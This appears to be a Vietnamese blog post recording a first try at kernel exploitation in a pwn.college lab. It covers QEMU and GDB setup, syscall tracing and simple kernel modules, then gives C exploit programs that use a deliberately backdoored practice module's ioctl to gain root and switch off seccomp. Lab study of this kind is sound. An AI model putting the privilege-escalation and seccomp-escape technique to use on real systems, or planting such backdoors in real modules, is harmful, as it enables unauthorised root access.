Getting Started With Kernel Exploitation
This is my first time setting up QEMU, debugging kernel with GDB, and exploiting kernel modules for privilege escalation and seccomp bypass.
Trong bài viết này, mình bắt đầu tìm hiểu những cái cơ bản nhất về Kernel Security, cách setup môi trường máy ảo với qemu, cách debug kernel với gdb (pwndbg), cách viết một kernel module đơn giản và load nó vào kernel, và cuối cùng là một ví dụ đơn giản về việc khai thác kernel để leo quyền userspace process và bypass seccomp.
Nội dung kiến thức mình theo dõi tại phần pwn.college | Kernel Security của pwn.college. Ngoài repo gốc tại pwncollege/pwnkernel: Kernel development & exploitation practice environment. giúp cho người học tiện thực hành, mình đã fork về tại đây ngtuonghung/pwnkernel, có chỉnh sửa và bổ sung một vài thứ.
Environment Setup
Mình đang sử dụng Ubuntu 24.04 chạy trên WSL2 ở Windows, nên build script gốc sẽ bị lỗi vì các vấn đề thư viện và phiên bản kernel không tương thích. Nên mình đã nhờ Claude viết một Dockerfile sử dụng Ubuntu 18.04 để build kernel và busybox.
$ ./build.sh
$ ./launch.sh
Như vậy là mình đã build và launch thành công máy ảo.
Inside The Kernel
Trước giờ mình mới chỉ pwn ở userspace, quen với việc nhìn địa chỉ ở dải thấp từ 0x0000000000000000 đến 0x00007FFFFFFFFFFF. Đi vào kernel space, mình cần phải làm quen với dải địa chỉ cao từ 0xFFFF800000000000 đến 0xFFFFFFFFFFFFFFFF.
Mình sẽ gdb với file kernel nguyên bản được compiler tạo ra, ở dạng ELF đầy đủ là vmlinux, chứa toàn bộ các symbol, debug info. Sau đó chỉnh lại substitute-path để gdb hiện source code. Tiếp tục attach gdb vào port 1234 được qemu mở ra:
$ sudo gdb linux-5.4/vmlinux
pwndbg> set substitute-path /build/linux-5.4 /home/ngtuonghung/pwnkernel/linux-5.4
pwndbg> target remote localhost:1234
Mình thấy con trỏ RIP đang ở trong hàm default_idle(). Đây là hàm “ngủ không làm gì” của CPU khi không có task nào đang chạy. Khi CPU đang “ngủ” (thực thi lệnh hlt), nó sẽ chờ ngắt (interrupt) từ timer, I/O,… Nếu có interrupt, CPU sẽ thoát khỏi trạng thái hlt và nhảy vào interrupt handler để xử lý. Sau khi handler chạy xong, nếu có task nào chạy được thì CPU sẽ switch sang task đó, nếu không thì lại quay về idle task.
Bình thường khi pwn ở userspace, ROP chain của mình thường có syscall ở cuối, mình vẫn luôn nghĩ nó là một lệnh “duy nhất”, chỉ gọi syscall là xong, bởi vì mình không “step in” nó được. Nhưng thực chất, syscall cũng tương tự như call là có thể “nhảy đến một địa chỉ khác”, nhưng có một vài điểm khác biệt.
callchỉ thay đổi đượcRIPtrong cùng address space và privilege.syscallchuyển CPU từ ring3về ring0(kernel mode, quyền tối thượng), thay đổi các thanh ghi cần thiết, và nhảy đến địa chỉ đích được lưu tại thanh ghiIA32_LSTAR. Bạn có thể xem chi tiết hơn ở đây https://www.felixcloutier.com/x86/syscall.
Bây giờ mình sẽ viết một đoạn code assembly đơn giản, có lệnh syscall và thử step in vào nó:
.globl _start
.intel_syntax noprefix
.text
_start:
mov rax, 102 # getuid
syscall
mov rdi, rax # exit
mov rax, 60
syscallThư mục hiện tại đã được mount vào máy ảo nên mình có thể compile ngoài này luôn, và sau đó chạy trực tiếp trong máy ảo. Mình compile ra file static và không liên kết thư viện để có thể chạy trong máy ảo, đặt tên là test.
$ gcc -static -nostdlib -o test ./test.s
$ ls
test test.sMình xem địa chỉ của các lệnh bằng objdump:
$ objdump -M intel -d test
test: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 c7 c0 66 00 00 00 mov rax,0x66
401007: 0f 05 syscall
401009: 48 89 c7 mov rdi,rax
40100c: 48 c7 c0 3c 00 00 00 mov rax,0x3c
401013: 0f 05 syscallGiờ mình sẽ đặt breakpoint tại syscall ở 0x401007.

Để ý rằng ở đây mình đặt “hardward breakpoint” thay vì “software breakpoint” như bình thường (nghĩa là b *0x401007 như lúc pwn ở userspace). Có một số thứ cần biết như sau:
CR3là một thanh ghi đặc biệt của CPU trỏ tới root page table của process đang chạy, dùng để map virtual address -> physical address. Mỗi process có page table riêng và địa chỉ page table tương ứng sẽ được load khi CPU switch context.INT3là một instruction đặc biệt (opcode là0xcc) trên x86, dài đúng 1 byte, dùng để trigger debugger. Khi CPU thấy opcode0xcc, nó thực thiint3và sinh ra breakpoint exception. Sau đó CPU chuyển sang kernel mode, tra IDT (interrupt descriptor table - giống như một bảng tra cứu function pointer) nhảy đến handler tương ứng. Sau đó kernel nhìn context và biết đây là user-mode breakpoint, nên chuẩn bị gửiSIGTRAPcho process đó. Khi kernel trả về userspace, process sẽ nhậnSIGTRAP. Nếu có debugger đang attach, debugger sẽ nhậnSIGTRAP, dừng process và đọc context. Nếu không có debugger, mặc địnhSIGTRAPsẽ giết process.
Khi mình b *0x401007, đó là software breakpoint, gdb sẽ thay byte đầu của instruction thành 0xcc, nghĩa là gdb phải tìm physical address tương ứng với virtual address 0x401007, ghi byte 0xcc vào đó để CPU có thể chạm. Nhưng mình đang debug chính cái kernel, code của mình còn chưa chạy, nghĩa là địa chỉ 0x401007 còn chưa được map, chưa có page table, gdb không thể ghi 0xcc vào. Dẫn đến là không break tại nơi mình mong muốn được.
Còn với hardware breakpoint, CPU sẽ tự động kiểm tra mỗi instruction nó thực thi có khớp với địa chỉ trong 4 debug registers DR0-DR3 không trước khi dịch qua page table. Nếu có, CPU không cần quan tâm CR3 như thế nào, chỉ cần lệnh hiện tại có địa chỉ 0x401007 là nó break.
Đây là mapping vùng code của userland lúc mình chưa chạy file test. Software breakpoint càng không hợp lý bởi có thể có nhiều lệnh tại cùng địa chỉ 0x401007, mình cũng đâu thể break chính xác được.

Sau khi hbreak, mình chạy file test:

Và mình đã break tại địa chỉ 0x401007 chính xác:

Mapping vùng code giờ trông như sau, chỉ có 1 page dành cho code:

Mình thử “step in” vào syscall nhưng vì lý do nào đó mà RIP nhảy luôn qua cả lệnh tiếp theo và break tại 0x40100c.

Biết rằng syscall sẽ nhảy thẳng đến địa chỉ của handler được lưu trong MSR IA32_LSTAR, đó là địa chỉ của entry_SYSCALL_64() (một hàm assembly trong kernel), được ghi vào IA32_LSTAR khi boot. Bạn có thể đọc rõ hơn ở đây: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-2.html.
Vậy mình sẽ break tại entry_SYSCALL_64() và si từ lệnh syscsall:

Ok, bây giờ mình đã break tại entry_SYSCALL_64(). Mình thấy RCX lưu return address, chính là lệnh tiếp theo ở 0x401009, R11 lưu RFLAGS (thanh ghi 64-bit chứa các cờ trạng thái của CPU).
Trong hàm sẽ gọi đến do_syscall_64() để thực sự chọn và gọi syscall handler:

Kernel Modules
Hello World
Tiếp theo, mình sẽ học về kernel modules. Một kernel module về cơ bản là một thư viện được load vào trong kernel. Cũng gần tương tự với thư viện ở userspace (vd như libc.so.6). Module thì cũng chỉ là một ELF, có extention là .ko thay vì .so. Module được load vào trong address space của kernel nên cũng có các quyền hạn của kernel.
Kernel modules thường được triển khai để xử lý drivers (card màn hình, camera, microphone,…), filesystem, networking,…
Đầu tiên mình sẽ thử chỉnh sửa một module đơn giản nhất và compile nó:
$ cp hello_log.c hello_hung.c
$ vi hello_hung.c
$ cat hello_hung.c
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
int init_module(void)
{
printk(KERN_INFO "Hello ngtuonghung1337!\n");
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye ngtuonghung1337!\n");
}$ cd src/
$ vi Makefile
$ cat Makefile
# add more modules here!
obj-m = hello_dev_char.o hello_ioctl.o hello_log.o hello_proc_char.o make_root.o hello_hung.o # <-------------
KERNEL_VERSION=5.4
all:
echo $(OBJECTS)
make -C ../linux-$(KERNEL_VERSION) M=$(PWD) modules
clean:
make -C ../linux-$(KERNEL_VERSION) M=$(PWD) cleaSau đó mình build lại và launch:
$ ./build.sh
$ ./launch.shinsmodđể load module.lsmodđể list module.rmmodđể xoá module.

/dev device
/dev là thư mục chứa các device files, nghĩa là “file đại diện cho thiết bị”, không phải là file lưu trữ dữ liệu bình thường mà là để nói chuyện với hardware. Kernel module đăng ký file_operations struct với các callback được định sẵn. Khi userspace gọi open(), read(), write() trên file trong /dev, kernel sẽ gọi các callback tương ứng. Device được tạo bằng register_chrdev() trong init_module(), sau đó dùng mknod để tạo device node.
https://github.com/ngtuonghung/pwnkernel/blob/main/src/hello_dev_char.c

/proc device
/proc là virtual filesystem, không có data thật trên disk, được kernel tạo on-the-fly, nghĩa là dữ liệu được tạo ngay lúc đọc. Khác với /dev dùng register_chrdev() và mknod, /proc dùng proc_create() để tạo file trực tiếp. Sau đó cũng đăng ký file_operations struct tương tự. /proc thường dùng để expose thông tin kernel và process hơn là làm device driver.
https://github.com/ngtuonghung/pwnkernel/blob/main/src/hello_proc_char.c

ioctl
ioctl (input/output control) là syscall dùng để điều khiển hoặc cấu hình thiết bị mà read() / write() không làm được. ioctl rất hữu ích cho việc cài đặt và truy vấn các non-stream data (bật tắt lọc tiếng ồn trên mic, đổi resolution camera,…).
https://github.com/ngtuonghung/pwnkernel/blob/main/src/hello_ioctl.c
Mình sẽ disassemble module để tìm xem PWN_GET và PWN_SET có giá trị là gì:
$ objdump -M intel -dr hello_ioctl.ko
Mình viết code tương ứng để đọc được flag:
#include <assert.h>
#include <string.h>
#include <stdio.h>
int main(){
int fd = open("/proc/pwn-college-ioctl", 2);
assert(fd > 0);
char msg[16] = "PASSWORD";
ioctl(fd, 0x7002, msg);
char flag[128];
memset(flag, 0, sizeof(flag));
ioctl(fd, 0x7001, flag);
printf("Flag: %s\n", flag);
return 0;
}$ gcc -static -O2 -o exploit1 exploit1.c
Privilege Escalation
Module make_root.c tạo một backdoor đơn giản để leo quyền. Trong device_ioctl(), khi nhận ioctl_num == PWN (0x7001) và ioctl_param == 0x13371337, nó gọi commit_creds(prepare_kernel_cred(NULL)) để grant root cho process hiện tại.
prepare_kernel_cred(NULL) tạo một cred struct với uid/gid = 0 (root), commit_creds() apply cred đó vào process.
https://github.com/ngtuonghung/pwnkernel/blob/main/src/make_root.c
Code exploit:
#include <assert.h>
#include <stdio.h>
int main(){
int fd = open("/proc/pwn-college-root", 2);
assert(fd > 0);
printf("uid: %d\n", getuid());
printf("gaining root...\n");
ioctl(fd, 0x7001, 0x13371337);
printf("uid: %d\n", getuid());
execl("/bin/sh", "/bin/sh", 0);
return 0;
}$ gcc -static -O2 -o exploit2 exploit2.c
Bypass Seccomp
Seccomp (secure computing mode) là một security mechanism để hạn chế syscalls mà process được phép gọi. Trong exploit này, mình setup seccomp filter chỉ cho phép ioctl, read, write, còn lại tất cả syscalls (kể cả getuid, open) đều bị block với.
Module make_root.c có thêm một backdoor nữa: khi ioctl_param == 0x31337, nó clear flag _TIF_SECCOMP trong current->thread_info.flags. Flag này báo cho kernel biết process đang bị seccomp restrict. Clear nó nghĩa là tắt seccomp, sau đó process có thể gọi bất kỳ syscall nào. Tuy nhiên process con vẫn kế thừa seccomp và không bị bypass.
#include <assert.h>
#include <seccomp.h>
#include <string.h>
#include <stdio.h>
int main(){
int fd = open("/proc/pwn-college-root", 2);
assert(fd > 0);
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ERRNO(1337));
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
assert(seccomp_load(ctx) >= 0);
printf("Before breaking out...\n");
printf("Getting uid failed: %d\n", getuid());
printf("Breaking out!\n");
ioctl(fd, 0x7001, 0x31337);
printf("uid before: %d\n", getuid());
printf("gaining root...\n");
ioctl(fd, 0x7001, 0x13371337);
printf("uid after: %d\n", getuid());
int flag_fd = open("/flag", 0);
assert(flag_fd > 0);
char flag_buf[512];
memset(flag_buf, 0, sizeof(flag_buf));
int n = read(flag_fd, flag_buf, sizeof(flag_buf));
assert(n > 0);
printf("Flag: %s\n", flag_buf);
return 0;
}Cài đặt package libseccomp-dev và compile với flag -lseccomp:
$ sudo apt install libseccomp-dev
$ gcc -static -O2 -o exploit3 exploit3.c -lseccomp
Debugging The Module
Bây giờ mình muốn break tại device_ioctl() trong make_root.c để xem đoạn code sau trông như thế nào khi đang chạy:
if (ioctl_param == 0x13371337)
{
printk(KERN_ALERT "Granting root access!\n");
commit_creds(prepare_kernel_cred(NULL));
}/proc/kallsyms là một bảng chứa toàn bộ symbol và địa chỉ tương ứng cho symbol. Theo mặc định, chỉ có root mới đọc được địa chỉ thật, user thường sẽ chỉ đọc được 00000000 hoặc không đọc được. Bởi vì mình đã tắt KASLR khi khởi động máy ảo qemu, nên các địa chỉ này không bị ngẫu nhiên:
/ # cat /proc/kallsyms | tail -n 10
ffffffff82a40003 T firmware_map_add_hotplug
ffffffff82a40137 T firmware_map_remove
ffffffff82a401bb T _einittext
ffffffffc0000000 t device_read [make_root]
ffffffffc0000010 t device_release [make_root]
ffffffffc0000020 t device_open [make_root]
ffffffffc0000030 t device_ioctl [make_root]
ffffffffc00000c0 t device_write [make_root]
ffffffffc0000100 t cleanup_module [make_root]
ffffffffc00000d0 t init_module [make_root]Mình sẽ break tại địa chỉ 0xffffffffc0000030:

Continue và chạy lại exploit:

Rồi mình đã break được tại đây. Cứ next cho đến khi thấy được prepare_kernel_cred() và commit_creds():

Conclusion
Vậy đây là lần đầu tiên mình bước vào kernel space, khá là bỡ ngỡ. Nhưng cuối cùng thì kernel cũng là code, cũng có các dạng lỗ hổng giống như ở userspace thôi chứ không phải thứ gì quá ghê gớm như mình từng nghĩ.
Trong bài viết này mình đã học được thêm nhiều thứ mới, đặc biệt giờ mình đã hiểu sơ về cách debug kernel. Mong các bạn đọc cũng như vậy!